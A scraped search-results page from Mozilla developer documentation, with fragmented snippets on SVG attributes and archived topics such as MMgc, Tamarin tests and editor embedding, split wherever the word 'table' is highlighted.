table elements should be written in. the tag contains one single entry value in the format defined in the tags for identifying languages (bcp47) ietf document. svg 2 introduce the new lang attributes. if both lang and xml:lang attribute are used, xml:lang has priority over lang. value: any valid language id; anima
table: no tabindex the tabindex svg attribute allows you to control whether an element is focusable and to define the relative order of the element for the purposes of sequential focus navigation. value type: <integer>; anima
table: no xml:base specifies a base iri other than the base iri of the document. ...
...it's almost identical in usage to html's lang, but in conforming xml 1.0 documents, it does not allow the use of a null attribute value (xml:lang="") to indicate an unknown language. ...
...And 2 more matches
dx - SVG: Scalable Vector Graphics
s a shift along the x-axis for all alternate glyph. if there are multiple values, dx defines a shift along the x-axis for each individual glyph relative to the preceding glyph. if there are less values than glyphs, the remaining glyphs use a value of 0. if there are more values than glyphs, extra values are ignored. value list of <length> default value none anima
table yes fedropshadow for <fedropshadow>, dx defines the x offset of the droped shadow. the unit used to resolve the value of the attribute is set by the primitiveunits attribute of the <filter> element. value <number> default value 2 anima
table yes feoffset for <feoffset>, dx defines the x offset of the filter input graphic. the unit used to res...
...tiveunits attribute of the <filter> element. value <number> default value 2 anima
table yes feoffset for <feoffset>, dx defines the x offset of the filter input graphic. the unit used to resolve the value of the attribute is set by the primitiveunits attribute of the <filter> element. value <number> default value 0 anima
table yes glyphref warning: as of svg2 <glyphref> is deprecated and shouldn't be used. for <glyphref>, dx defines the x offset of the glyph, in the font metric system. value <number> default value 0 anima
table yes text for <text>, if it contains a single value, dx defines a shift along the x-axis for all glyphs. if there are multiple values, dx ...
...dx defines a shift along the x-axis for all glyphs. if there are multiple values, dx defines a shift along the x-axis for each individual glyph relative to the preceding glyph. if there are less values than glyphs, the remaining glyphs use a value of 0. if there are more values than glyphs, extra values are ignored. ...
...And 2 more matches
dy - SVG: Scalable Vector Graphics
shift along the y-axis for all alternate glyph. if there are multiple values, dy defines a shift along the y-axis for each individual glyph relative to the preceding glyph. if there are less values than glyphes, the remaining glyphes use a value of 0. if there are more values than glyphes, extra values are ignored. value list of <length> default value none anima
table yes fedropshadow for <fedropshadow>, dy defines the y offset of the dropped shadow. the unit used to resolve the value of the attribute is set by the primitiveunits attribute of the <filter> element. value <number> default value 2 anima
table yes feoffset for <feoffset>, dy defines the y offset of the filter input graphic. the unit used to re...
...tiveunits attribute of the <filter> element. value <number> default value 2 anima
table yes feoffset for <feoffset>, dy defines the y offset of the filter input graphic. the unit used to resolve the value of the attribute is set by the primitiveunits attribute of the <filter> element. value <number> default value 0 anima
table yes glyphref warning: as of svg2 <glyphref> is deprecated and shouldn't be used. for <glyphref>, dy defines the y offset of the glyph, in the font metric system. value <number> default value 0 anima
table yes text for <text>, if it contains a single value, dy defines a shift along the y-axis for all glyphs. if there are multiple values, dy ...
...defines a shift along the y-axis for all glyphs. if there are multiple values, dy defines a shift along the y-axis for each individual glyph relative to the preceding glyph. if there are less values than glyphes, the remaining glyphes use a value of 0. if there are more values than glyphes, extra values are ignored. ...
...And 2 more matches
pathLength - SVG: Scalable Vector Graphics
g like if the path length was 30 user units long --> <path d="m 0,40 h100" pathlength="30"/> <!-- compute everything like if the path length was 10 user units long --> <path d="m 0,50 h100" pathlength="10"/> </svg> circle for <circle>, pathlength lets authors specify a total length for the circle, in user units. ...
..." pathlength="10"/> </svg> circle for <circle>, pathlength lets authors specify a total length for the circle, in user units. value <number> default value none anima
table yes ellipse for <ellipse>, pathlength lets authors specify a total length for the ellipse, in user units. value <number> default value none anima
table yes line for <line>, pathlength lets authors specify a total length for the line, in user units. ...
...ne anima
table yes ellipse for <ellipse>, pathlength lets authors specify a total length for the ellipse, in user units. value <number> default value none anima
table yes line for <line>, pathlength lets authors specify a total length for the line, in user units. value <number> default value none anima
table yes path for <path>, pathlength lets authors specify a total length for the path, in user units. value <number> default value none anima
table yes polygon for <polygon>, pathlength lets authors specify a total length for the shape, in user units. ...
...And 2 more matches
<ellipse> - SVG: Scalable Vector Graphics
if, for example, you wanted to draw an ellipse tilted at a 45 degree angle), but it can be rotated by using the transform attribute. html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="100" cy="50" rx="100" ry="50" /> </svg> attributes cx the x position of the ellipse. ...
... the transform attribute. html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="100" cy="50" rx="100" ry="50" /> </svg> attributes cx the x position of the ellipse. value type: <length>|<percentage> ; default value: 0; anima
table: yes cy the y position of the ellipse. value type: <length>|<percentage> ; default value: 0; anima
table: yes rx the radius of the ellipse on the x axis. ...
... <ellipse cx="100" cy="50" rx="100" ry="50" /> </svg> attributes cx the x position of the ellipse. value type: <length>|<percentage> ; default value: 0; anima
table: yes cy the y position of the ellipse. value type: <length>|<percentage> ; default value: 0; anima
table: yes rx the radius of the ellipse on the x axis. value type: auto|<length>|<percentage> ; default value: auto; anima
table: yes ry the radius of the ellipse on the y axis. value type: auto|<length>|<percentage> ; default value: auto; anima
table: yes pathlength this attribute lets specify the total length for the path, in user units. ...
...And 2 more matches
<linearGradient> - SVG: Scalable Vector Graphics
%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </lineargradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg> attributes gradientunits this attribute defines the coordinate system for attributes x1, x2, y1, y2 value type: userspaceonuse|objectboundingbox ; default value: objectboundingbox; anima
table: yes gradienttransform this attribute provides additional transformation to the gradient coordinate system. value type: <transform-list> ; default value: identity transform; anima
table: yes href this attribute defines a reference to another <lineargradient> element that will be used as a template. value type: <url> ; default value: none; anima
table: yes spreadmethod this attribute indicat...
...ty transform; anima
table: yes href this attribute defines a reference to another <lineargradient> element that will be used as a template. value type: <url> ; default value: none; anima
table: yes spreadmethod this attribute indicates how the gradient behaves if it starts or ends inside the bounds of the shape containing the gradient. value type: pad|reflect|repeat ; default value: pad; anima
table: yes x1 this attribute defines the x coordinate of the starting point of the vector gradient along which the linear gradient is drawn. value type: <length> ; default value: 0%; anima
table: yes x2 this attribute defines the x coordinate of the ending point of the vector gradient along which the linear gradient is drawn. ...
... value: pad; anima
table: yes x1 this attribute defines the x coordinate of the starting point of the vector gradient along which the linear gradient is drawn. value type: <length> ; default value: 0%; anima
table: yes x2 this attribute defines the x coordinate of the ending point of the vector gradient along which the linear gradient is drawn. value type: <length> ; default value: 100%; anima
table: yes xlink:href an <iri> reference to another <lineargradient> element that will be used as a template. value type: <iri> ; default value: none; anima
table: yes y1 this attribute defines the y coordinate of the starting point of the vector gradient along which the linear gradient is drawn. ...
...And 2 more matches
<text> - SVG: Scalable Vector Graphics
.rrrrr { font: italic 40px serif; fill: red; } </style> <text x="20" y="35" class="small">my</text> <text x="40" y="35" class="heavy">cat</text> <text x="55" y="55" class="small">is</text> <text x="65" y="55" class="rrrrr">grumpy!</text> </svg> attributes x the x coordinate of the starting point of the text baseline. value type: <length>|<percentage> ; default value: 0; anima
table: yes y the y coordinate of the starting point of the text baseline. value type: <length>|<percentage> ; default value: 0; anima
table: yes dx shifts the text position horizontally from a previous text element. value type: <length>|<percentage> ; default value: none; anima
table: yes dy shifts the text position vertically from a previous text element. value type: <length>|<percentage> ; def...
...ate of the starting point of the text baseline. value type: <length>|<percentage> ; default value: 0; anima
table: yes dx shifts the text position horizontally from a previous text element. value type: <length>|<percentage> ; default value: none; anima
table: yes dy shifts the text position vertically from a previous text element. value type: <length>|<percentage> ; default value: none; anima
table: yes rotate rotates orientation of each individual glyph. can rotate glyphs individually. value type: <list-of-number> ; default value: none; anima
table: yes lengthadjust how the text is stretched or compressed to fit the width defined by the textlength attribute. ...
...type: <length>|<percentage> ; default value: none; anima
table: yes rotate rotates orientation of each individual glyph. can rotate glyphs individually. value type: <list-of-number> ; default value: none; anima
table: yes lengthadjust how the text is stretched or compressed to fit the width defined by the textlength attribute. value type: spacing|spacingandglyphs; default value: spacing; anima
table: yes textlength a width that the text should be scaled to fit. ...
...And 2 more matches
<tspan> - SVG: Scalable Vector Graphics
" xmlns="http://www.w3.org/2000/svg"> <style> text { font: italic 12px serif; } tspan { font: bold 10px sans-serif; fill: red; } </style> <text x="10" y="30" class="small"> you are <tspan>not</tspan> a banana! </text> </svg> attributes x the x coordinate of the starting point of the text baseline. value type: <length>|<percentage> ; default value: none; anima
table: yes y the y coordinate of the starting point of the text baseline. value type: <length>|<percentage> ; default value: none; anima
table: yes dx shifts the text position horizontally from a previous text element. value type: <length>|<percentage> ; default value: none; anima
table: yes dy shifts the text position vertically from a previous text element. value type: <length>|<percentage> ; ...
... of the starting point of the text baseline. value type: <length>|<percentage> ; default value: none; anima
table: yes dx shifts the text position horizontally from a previous text element. value type: <length>|<percentage> ; default value: none; anima
table: yes dy shifts the text position vertically from a previous text element. value type: <length>|<percentage> ; default value: none; anima
table: yes rotate rotates orientation of each individual glyph. can rotate glyphs individually. value type: <list-of-number> ; default value: none; anima
table: yes lengthadjust how the text is stretched or compressed to fit the width defined by the textlength attribute. ...
...type: <length>|<percentage> ; default value: none; anima
table: yes rotate rotates orientation of each individual glyph. can rotate glyphs individually. value type: <list-of-number> ; default value: none; anima
table: yes lengthadjust how the text is stretched or compressed to fit the width defined by the textlength attribute. value type: spacing|spacingandglyphs; default value: spacing; anima
table: yes textlength a width that the text should be scaled to fit. ...
...And 2 more matches
<use> - SVG: Scalable Vector Graphics
-origin policy on use elements and may refuse to load a cross-origin url in the href attribute. there is currently no defined way to set a cross-origin policy for use elements. since svg 2, the xlink:href attribute is deprecated in favor of href. see xlink:href page for more information. ...
...s-origin policy for use elements. since svg 2, the xlink:href attribute is deprecated in favor of href. see xlink:href page for more information. however, xlink:href can still be required in practice for cross-browser compatibility (see the compatibility
table below). attributes href the url to an element/fragment that needs to be duplicated. value type: <url> ; default value: none; anima
table: yes xlink:href an <iri> reference to an element/fragment that needs to be duplicated. value type: <iri> ; default value: none; anima
table: yes x the x coordinate of the use element. value type: <coordinate> ; default value: 0; anima
table: yes y the y coordinate of the use element. value type: <coordinate> ; default value: 0; anima
table: yes width the width of the use element. value ...
...they only have an effect when use refers to a svg or symbol element. ...
...And 2 more matches
lang/type - Archive of obsolete content
perty descriptors and types of properties contained within the object. ...
...e object. ...
... name: undefined, twitter: '@horse_js', tweets: [ { id: 100, text: 'what happens to you if you break the monad laws?' }, { id: 101, text: 'javascript dubstep generator' } ] }; console.log(source(obj)); // prints the below /* { // [object object] // wri
table configurable enumerable name: undefined, // wri
table configurable enumerable twitter: "@horse_js", // wri
table configurable enumerable tweets: [ { // [object object] // wri
table configurable enumerable id: 100, // wri
table configurable enumerable text: "what happens to you if you break the monad laws?", "__proto__": { // [object object] } }, { // [object object] // wri
table configurable enumera...
... indent : string optional. ...
Finding window handles - Archive of obsolete content
.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsibasewindow); var gdkwindowptrstring = basewindow.nativehandle; components.utils.import('resource://gre/modules/ctypes.jsm'); var gdk = ctypes.open('libgdk-x11-2.0.so.0'); // types let guint32 = ctypes.uint32_t; let gdkwindow = ctypes.structtype('gdkwindow'); // https://developer.gnome.org/gdk3/s
table/gdk3-windows.html#gdk-window-focus var gdk_window_focus = gdk.declare('gdk_window_focus', ctypes.default_abi, ctypes.void_t, gdkwindow.ptr, guint32); // https://developer.gnome.org/gdk2/s
table/gdk2-x-window-system-interaction.html#gdk-x11-get-server-time var gdk_x11_get_server_time = gdk.declare('gdk_x11_get_server_time', ctypes.default_abi, guint32, gdkwindow.ptr); var browserwindow_madeintogd...
...ptrstring = basewindow.nativehandle; components.utils.import('resource://gre/modules/ctypes.jsm'); var gdk = ctypes.open('libgdk-x11-2.0.so.0'); var gtk = ctypes.open('libgtk-x11-2.0.so.0'); // types let guint32 = ctypes.uint32_t; let gdkwindow = ctypes.structtype('gdkwindow'); let gpointer = ctypes.voidptr_t; let gtkwindow = ctypes.structtype('gtkwindow'); //https://developer.gnome.org/gdk3/s
table/gdk3-windows.html#gdk-window-get-user-data var gdk_window_get_user_data = gdk.declare('gdk_window_get_user_data', ctypes.default_abi, ctypes.void_t, gdkwindow.ptr, gpointer.ptr); //https://developer.gnome.org/gtk3/s
table/gtkwindow.html#gtk-window-present var gtk_window_present = gtk.declare('gtk_window_present', ctypes.default_abi, ctypes.void_t, gtkwindow.ptr); //https://developer.gnome.org/gt...
...3-windows.html#gdk-window-get-user-data var gdk_window_get_user_data = gdk.declare('gdk_window_get_user_data', ctypes.default_abi, ctypes.void_t, gdkwindow.ptr, gpointer.ptr); //https://developer.gnome.org/gtk3/s
table/gtkwindow.html#gtk-window-present var gtk_window_present = gtk.declare('gtk_window_present', ctypes.default_abi, ctypes.void_t, gtkwindow.ptr); //https://developer.gnome.org/gtk3/s
table/gtkwindow.html#gtk-window-present-with-time var gtk_window_present_with_time = gtk.declare('gtk_window_present_with_time', ctypes.default_abi, ctypes.void_t, gtkwindow.ptr, guint32); // gdk_x11_get_server_time is needed for gtk_window_present_with_time // https://developer.gnome.org/gdk2/s
table/gdk2-x-window-system-interaction.html#gdk-x11-get-server-time var gdk_x11_get_server_time = gdk.declar...
...1 = ctypes.open('libx11.so.6'); // types let guint32 = ctypes.uint32_t; let gdkwindow = ctypes.structtype('gdkwindow'); let gdkdrawable = ctypes.structtype('gdkdrawable'); let card32; if (/^(alpha|hppa|ia64|ppc64|s390|x86_64)-/.test(services.appinfo.xpcomabi)) { card32 = ctypes.unsigned_int; } else { card32 = ctypes.unsigned_long; } let xid = card32; //https://developer.gnome.org/gdk2/s
table/gdk2-x-window-system-interaction.html#gdk-x11-drawable-get-xid var gdk_x11_drawable_get_xid = gdk.declare('gdk_x11_drawable_get_xid', ctypes.default_abi, xid, gdkdrawable.ptr); var browserwindow_madeintogdkwinptr = gdkwindow.ptr(ctypes.uint64(gdkwindowptrstring)); var browserwindow_madeintogdkdrawable = ctypes.cast(browserwindow_madeintogdkwinptr, gdkdrawable.ptr); var browserwindow_madeintoxi...
Setting Up a Development Environment - Archive of obsolete content
mozilla to build firefox, and it is available for all operating systems. make is a default tool in most unix-based systems. it can be installed on mac os x as part of the xcode tools package, and on windows with cygwin. in cygwin installations you'll have to explicitly check the make and zip utilities from the long list of packages to download and install. also make sure that make is in the execu
table system path. after setting up make, you should be able to open a command line window, run "make -ver", and get the installed version of make as output. we recommend you set up make in your system, since our examples come with all the necessary files to build and install the resulting xpi using this tool. it will save you some packaging time. or you can create an equivalent system using batch, an...
...files will be created, and where you'll find the extension xpi file once you get it to build. open the project file (helloworld2.komodoproject) from the src directory in komodo edit. in the projects tab you should be able to see the directory structure inside the src directory. this structure should be familiar, as it is almost identical to the unpacked xpi from the previous section. the only no
table additions is a file named makefile under src. this is the file that make uses to build the xpi. you should take some time to read it and understand it, or at least identify the parts that you should change to get a project of your own going. this gnu make manual is a very good reference to get to know make and makefiles. in most cases you'll only need to change the first lines in makefile. these...
...ko sdk. if you need to compile idls, go to the sdk page and download a compiled version for your system. also note any prerequisites you may need. if your system is not listed in the supported builds, you'll have to build the sdk yourself from the mozilla source. good luck with that. you should also set up your environment so that xpidl.exe (or just xpidl on other systems) is in the default execu
table path, and also add a variable called gecko_sdk, that points to your sdk build: export gecko_sdk=/path/to/your/sdk our build system should pick it up from there. to make it work in komodo in unix-based systems, we add the command to the .bash_login file in the home directory, and we modify the commands to this: bash -c ". ~/.bash_login; make" an example project with xpcom components is...
...rtificate information. ideally this should be handled by a single person, and only done near the end of the release process. you should also have a different make command, such as make signed in order to distinguish the signed and unsigned development builds. firefox profile management it is good development practice to keep your test environment separate from everything else. you don't want uns
table extensions to break your everyday firefox profile, risking data loss. it's much better to have a different "version" of firefox for testing. this is what firefox profiles are for. you can learn about setting up multiple firefox profiles in the mozilla support article managing profiles. you can have as many profiles as you like. you can also mix them with multiple firefox installations. for insta...
CSS3 - Archive of obsolete content
to the next iteration of this module. the ability to control the usage of an ime editor, using the css ime-mode property. at risk: due to insufficient browser support, standardization of the ime-mode property may be postponed to the next iteration of this module. an early list of what could be in the next iteration of the css basic user interface module is available. s
table modules a few css modules are already fairly s
table and have reached one of the three recommendation level of the csswg: candidate recommendation, proposed recommendation or recommendation. these can be used without prefix and are pretty s
table, though a few features can still be dropped at the candidate recommendation stage. these modules extend and amend the css2.1 specification which build t...
...l snap module level 1 candidate recommendation css painting api level 1 working draft css containment module level 1 recommendation css writing modes level 4 candidate recommendation modules in the refining phase specifications that are deemed to be in the refining phase are already fairly s
table. though changes are still expected, they shouldn't create incompatibilities with current implementations; they should mainly define behavior in edge cases. css animations working draft allows the definition of animations effects by adding the css animation, animation-delay,animation-direction, animation-duration, animation-fill-mode, animation-iteration-count, animation-name...
...er schemes. motion path module level 1 working draft css fonts module level 4 working draft css easing functions level 1 working draft css logical properties and values level 1 editor's draft modules in the revising phase modules that are in the revising phase are much less s
table than those in the refining phase. often the syntax is still under scrutiny and may evolve a lot, in a non-compatible way. alternative syntaxes are tested and often implemented. css paged media module level 3 working draft css object model (cssom) view module working draft css intrinsic & extrinsic sizing module level 3 working...
...ats mechanism to define exclusion regions in any positioning scheme. adds the notion of shapes, in which content must flows. filter effects module level 1 working draft css generated content for paged media module working draft adds the ability to tailor printed version of a document by allowing to control header, footer but also references
tables like indexes or
tables of content. css page floats working draft css grid layout unknown css line grid module level 1 working draft css positioned layout module level 3 working draft css regions module level 1 working draft defines a new mechanism allowi...
Index of archived content - Archive of obsolete content
sign space manager high level design standalone xpcom standard makefile header static analysis for windows code under linux stress testing string quick reference string rosetta stone structure of an installable bundle supporting per-window private browsing supporting private browsing mode
table cellmap
table cellmap - border collapse
table layout regression tests
table layout strategy tamarin abcasm tamarin acceptance testing abc assembler tests actionscript acceptance tests tamarin acceptance test...
... list of mozilla-based applications localizing an extension mmgc makefile - .mk files misc top level bypassing security restrictions and signing code creating a web based tone generator defining cross-browser tooltips environment variables affecting crash reporting io guide images,
tables, and mysterious gaps installing plugins to gecko embedding browsers on windows mcd, mission control desktop, aka autoconfig monitoring wifi access points no proxy for configuration notes on html reflow same-origin policy for file: uris source navigator source code directories overview using xml data islands...
...ension for mozilla plugins sax security digital signatures encryption and decryption introduction to public-key cryptography introduction to ssl nspr release engineering guide ssl and tls solaris 10 build prerequisites sunbird theme tutorial
table reflow internals tamarin tracing build documentation the basics of web services themes building a theme common firefox theme issues and solutions creating a skin for firefox uuid contents.rdf install.rdf making sure your theme works...
... using workers in extensions web standards choosing standards compliance over proprietary practices community correctly using titles with external stylesheets describing microformats in javascript displaying a graphic with audio samples fixing incorrectly sized list item markers fixing
table inheritance in quirks mode issues arising from arbitrary-element hover mozilla's doctype sniffing parsing microformats in javascript popup window controls rdf in fifty words or less rdf in mozilla faq styling abbreviations and acronyms the business benefits of web standards using the right markup to invoke p...
MMgc - Archive of obsolete content
emplates which must be used in your c++ code to work properly with mmgc. dwb dwb stands for declared write barrier. it must be used on a pointer to a gcobject/gcfinalizedobject, when that pointer is a member variable of a class derived from gcobject/gcfinalizedobject/rcobject/rcfinalizedobject. class mymanagedclass : public mmgc::gcobject { // mymanagedclass is a gcobject, and // avmplus::hash
table is a gcobject, so use dwb dwb(avmplus::hash
table*) my
table; }; drc drc stands for deferred reference counted. it must be used on a pointer to a rcobject/rcfinalizedobject, when that pointer is a member variable of a c++ class in unmanaged memory. class myunmanagedclass { // myunmanagedclass is not a gcobject, and // avmplus::stringp is a rcobject, so use drc drc(stringp) mystring; }; dr...
...object or rcfinalizedobject, it has finalizer support. a finalizer is a method which will be invoked by the gc when an unreachable object is about to be destroyed. it's similar to a destructor. it differs from a destructor in that it is usually called nondeterministically, i.e. in whatever random order the gc decides to destroy objects. c++ destructors are usually invoked in a comparatively predic
table order, since they're invoked explicitly by the application code. in mmgc, the c++ destructor is actually used as the finalizer. if you don't subclass gcfinalizedobject or rcfinalizedobject, any c++ destructor on your garbage collected class will basically be ignored. only if you subclass gcfinalizedobject or rcfinalizedobject will mmgc know that you want finalization behavior on your class. it's ...
...++ destructor is actually used as the finalizer. if you don't subclass gcfinalizedobject or rcfinalizedobject, any c++ destructor on your garbage collected class will basically be ignored. only if you subclass gcfinalizedobject or rcfinalizedobject will mmgc know that you want finalization behavior on your class. it's best to avoid finalizers if you can, since finalization behavior can be unpredic
table and nondeterministic, and also slows down the gc since the finalizers need to be invoked. finalizer access rules finalizers are very restricted in the set of objects they may access. finalizers may not perform any of the following actions: fire any write barriers dereference a pointer to any gc object, including member variables (except see below about rcobject references) allocate any gc memory...
... can be gained by not performing reference counting on the stack references. heap references are different since they can persist for long periods of time. so, in a drc scheme, we continue to maintain reference counts in heap-based objects. so, reference counts are only maintained to heap-to-heap references. we basically ignore the stack and registers. they are considered stack memory. zero count
table of course, when an object's reference count goes to zero, what happens? if the object was immediately destroyed, that could leave dangling pointers on the stack, since we didn't bump up the object's reference count when stack references were made to it. to deal with this, there is a mechanism called the zero count
table (zct). when an object reaches zero reference count, it is not immediately des...
Visualizing an audio spectrum - Archive of obsolete content
dmetadata', loadedmetadata, false); // fft from dsp.js, see below var fft = function(buffersize, samplerate) { this.buffersize = buffersize; this.samplerate = samplerate; this.spectrum = new float32array(buffersize/2); this.real = new float32array(buffersize); this.imag = new float32array(buffersize); this.reverse
table = new uint32array(buffersize); this.sin
table = new float32array(buffersize); this.cos
table = new float32array(buffersize); var limit = 1, bit = buffersize >> 1; while ( limit < buffersize ) { for ( var i = 0; i < limit; i++ ) { this.reverse
table[i + limit] = this.reverse
table[i] + bit; } limit = limit...
... = new float32array(buffersize); var limit = 1, bit = buffersize >> 1; while ( limit < buffersize ) { for ( var i = 0; i < limit; i++ ) { this.reverse
table[i + limit] = this.reverse
table[i] + bit; } limit = limit << 1; bit = bit >> 1; } for ( var i = 0; i < buffersize; i++ ) { this.sin
table[i] = math.sin(-math.pi/i); this.cos
table[i] = math.cos(-math.pi/i); } }; fft.prototype.forward = function(buffer) { var buffersize = this.buffersize, cos
table = this.cos
table, sin
table = this.sin
table, reverse
table = this.reverse
table, real = this.real, imag = this.imag, ...
...rse
table, real = this.real, imag = this.imag, spectrum = this.spectrum; if ( buffersize !== buffer.length ) { throw "supplied buffer is not the same size as defined fft. ...
... real[i] = buffer[reverse
table[i]]; imag[i] = 0; } var halfsize = 1, phaseshiftstepreal, phaseshiftstepimag, currentphaseshiftreal, currentphaseshiftimag, off, tr, ti, tmpreal, i; while ( halfsize < buffersize ) { phaseshiftstepreal = cos
table[halfsize]; phaseshiftstepimag = sin
table[halfsize]; currentphaseshiftreal = 1.0; currentphaseshiftimag = 0.0; for ( var fftstep = 0; fftstep < halfsize; fftstep++ ) { i = fftstep; while ( i < buffersize ) { off = i + halfsize; tr = (currentphaseshiftreal * real[off]) - (currentphaseshiftimag * imag[off])...
Editor Embedding Guide - Archive of obsolete content
in the beginning there is makeedi
table given an nsiwebbrowser instance, get an nsidomwindow from the getcontentdomwindow call. then simply call nsiwebbrowser->do_getinterface on the nsiwebbrowser to retrieve the nsieditingsession from it. from there you call editingsession->makewindowedi
table(domwindow, editortype, pr_true). the first parameter is the nsidomwindow you just retrieved, the second is the editor type you want to create, and the third is whether you want the window edi
table immediately or when the document is done loading. in calling this method, the editor is created underneath and the event listeners are all prepa if (ns_failed(rv)) return ns_error_failure; // we are not setup??!! nscomptr<nsieditingsession> editingsession; nsiwebbrowser->do_getinterface(getter_addrefs(ed...
... you want the window edi
table immediately or when the document is done loading. ...
...ate_end"(boolean), "state_mixed"(boolean), "state_enabled" (boolean) docommand no parameters example normal subscript cmd_nobreak toggles nobreak style on selection. text is not wrapped by word. getcommandstate "state_all"(boolean), "state_begin"(boolean), "state_end"(boolean), "state_mixed"(boolean), "state_enabled" (boolean) docommand no parameters note this one is not visually no
table in the general case. cmd_em toggles emphasis on selection. getcommandstate "state_all"(boolean), "state_begin"(boolean), "state_end"(boolean), "state_mixed"(boolean), "state_enabled" (boolean) docommand no parameters note this is logical style. most browsers display it the same as italics. cmd_strong toggles strong on selection. getcommandstate "state_all"(boolean), "state_begin...
...olor values, use the cstring representation of rrggbb, e.g., red="#ff0000" and black="#000000". cmd_fontface sets the font face for the current selection. getcommandstate "state_attribute" (cstring) docommand "state_attribute" (cstring or string) "helvetica, arial, sans-serif" "times new roman, times, serif" "courier new, courier, monospace" any string is accep
table. the above strings should be considered examples of base functionality and in no way imply that this command won't handle other fonts. cmd_align sets the alignment for the lines contained in the current selection. getcommandstate "state_attribute" (cstring) docommand "state_attribute" (cstring) "left", "right", "center", "justify" cmd_inserthtml cmd_insertlinknoui cmd_insertimagenou...
Style System Overview - Archive of obsolete content
d since they are in a separate part of the cascade other nsistylerule implementations nshtmlmappedattributes represents stylistic html attributes turned into a style rule (one instance per unique set of attributes) bodyrule handles marginwidth/marginheight mixes on body and on frame. various rules in nshtmlstylesheet.cpp do other things with presentational color-related attributes and with
tables. content nodes (instead of stylesheets) also hold onto cssstyleruleimpl objects that represent their style attributes. the cascade stylesetimpl manages the different origins of rules in the cascade (ua, user, author) style set gets the nsistyleruleprocessor implementations from the style sheets, and the css stylesheets force one cssruleprocessor per origin (rather than one per stylesheet)...
...termine more quickly which rules match. has a separate rulesmatching method for pseudo-elements. cssruleprocessor one cssruleprocessor per origin (ua, user, author) css rule processor sorts all the rules in cascade order, and then puts them in rulehash, which remembers order and then hashes by first of id, class, tag, namespace, or unhashed. to match rules, we do lookups in the rulehash's
tables, remerge the lists of rules using stored indices, and then call selectormatchestree to find which selectors really match. matching of class and id selectors is much faster than, say, attribute selectors. (important advice for chrome css authors.) pseudo-elements are hashed in element hash, so for matching pseudo-elements we only need one hash
table lookup. style contexts each style context...
...ving functions will walk the rule processors in stylesetimpl::filerules, find the correct rule node, and find a current child of the parent (“sibling sharing”) or create a new child. style context doesn't hold pointer to content, just rule node. dynamic changes to content framemanager::reresolvestylecontext destroys and recreates style contexts for existing frames (rule node pointer immu
table). reresolvestylecontext is messy because it needs to create and parent style contexts correctly (sibling sharing may not be the same) rather than just changing data. [design flaw, again] any specially-parented style contexts (not along frame parents, which need not be content parents) are reconstructed using nsiframe::getparentstylecontextframe. can return same style context due to sibling sha...
...ne style”) changes in a different way from other changes to style rules. as for other style changes, we have to “walk” the rule tree and clear all the style data coming from the old inline style nsistylerule, since there could be an !important rule that overrides it, which would allow dynamic changes to put the style attribute in multiple places in the rule tree. however, we maintain a hash
table just for inline style rules so that we don't have to walk the whole tree to find the nodes. nscssframeconstructor::attributechanged only re-resolves style on the subtree of the element, just like other attribute changes. different hint mechanism (from rule structs, not data structs) could make attributechanged just go straight to a frame-change, instead. bugs due to failure to call nsiframe::d...
Monitoring downloads - Archive of obsolete content
the download manager instance is cached into a member variable in the downloadlogger...
...the download manager instance is cached into a member variable in the downloadlogger object for reuse later, and its addlistener() method is called to start listening for download ...
... starttime integer, endtime integer," + " speed real, status integer)"); dbconn.close(); }, this is fairly simple stuff. the download manager instance is cached into a member variable in the downloadlogger object for reuse later, and its addlistener() method is called to start listening for download status updates. the database file is opened, and an sqlite create
table command is executed to create the
table. finally, the database is closed. note: the mozistorageconnection method close() is being added to firefox 3 alpha 8; in prior versions of firefox, there is no way to explicitly close the database. instead, it is closed when the garbage collector disposes of the connection object. handling download state changes once the code above is run, our ondownloa...
...orage service and open the database this.storageservice = components.classes["@mozilla.org/storage/service;1"] .getservice(components.interfaces.mozistorageservice); var dbconn = this.storageservice.opendatabase(this.dbfile); var loglist = document.getelementbyid("loglist"); var statement = dbconn.createstatement("select * from items"); // get all items in
table try { while (statement.executestep()) { var row = document.createelement('listitem'); // add the cells to the row var cell = document.createelement('listcell'); var sourcestr = statement.getstring(0); row.setattribute("tooltiptext", sourcestr); sourcestr = sourcestr.slice(sourcestr.lastindexof("/")+1); cell.setattribute("label", sourcestr...
Running Tamarin acceptance tests - Archive of obsolete content
the tamarin acceptance tests can be used to verify your installation and or local changes that you have made to the source. to run acceptance tests on the android shell see the "testing the android shell" heading below. running the tamarin test suite requires the following steps: set the avm environment variable to the path of the avmplus execu
table (avmshell). note: the name of the avmshell execu
table varies among the build systems; use the name of the avm shell produced from the build process you used, above. set the builtinabc environment variable to the path of the generated/builtin.abc. you may build the .abc files build by downloading the latest asc.jar. the latest asc.jar can be downloaded from from ftp://ftp.mozilla.org/pub/js/tamarin...latest/asc.jar. also the source to asc.ja...
...ts the number of cores on the machine and sets an equivalent number of threads. this can be overrided with the threads flag: python ./runtests.py --threads=3 threading on cygwin / windows due to an issue with cygwin python, threading does not work, and threads will always be set to 1. in order to use threading on windows you must install windows python and invoke runtests using that python execu
table in cygwin. the locations of avm, asc, builtinabc and shellabc must also be defined using windows paths (replace backslashes [\] with forward slashes [/]): export avm=c:/location/of/avmshell.exe export asc=c:/location/of/asc.jar ... c:/python26/python.exe ./runtests.py --threads=3 other flags of interest (for a list of all flags, run runtests.py with -h/--help) --nohtml : will suppress the creati...
...as described above. - set the shellabc environment variable to the path of the generated/shell_toplevel.abc. adb 'adb' stands for android debug bridge. adb is used to access your android device and can run both direct and shell-type commands. if you've correctly edited and run the android-vars.sh script mentioned on the tamarin build documentation page you should already be pathed to the adb execu
table in the public sdk/ndk, but if not it exists at /android-public/android-sdk-mac_86/platform-tools. adb supports ssh-like commands to an android device. adb automatically connects to a phone if connected by usb. adb shell "ls /" is a good test to see if connected. the command: $ adb devices lists the device id of each phone. if you have more than 1 phone connected to usb, use "adb -s " for each p...
...command: $ adb devices lists the device id of each phone. if you have more than 1 phone connected to usb, use "adb -s " for each phone. if this fails, do you have a dev os installed? under settings->applications->development, is usb debugging enabled? testsuite setup example commands: copy avmshell to /data/local/tamarin. ...
Venkman Introduction - Archive of obsolete content
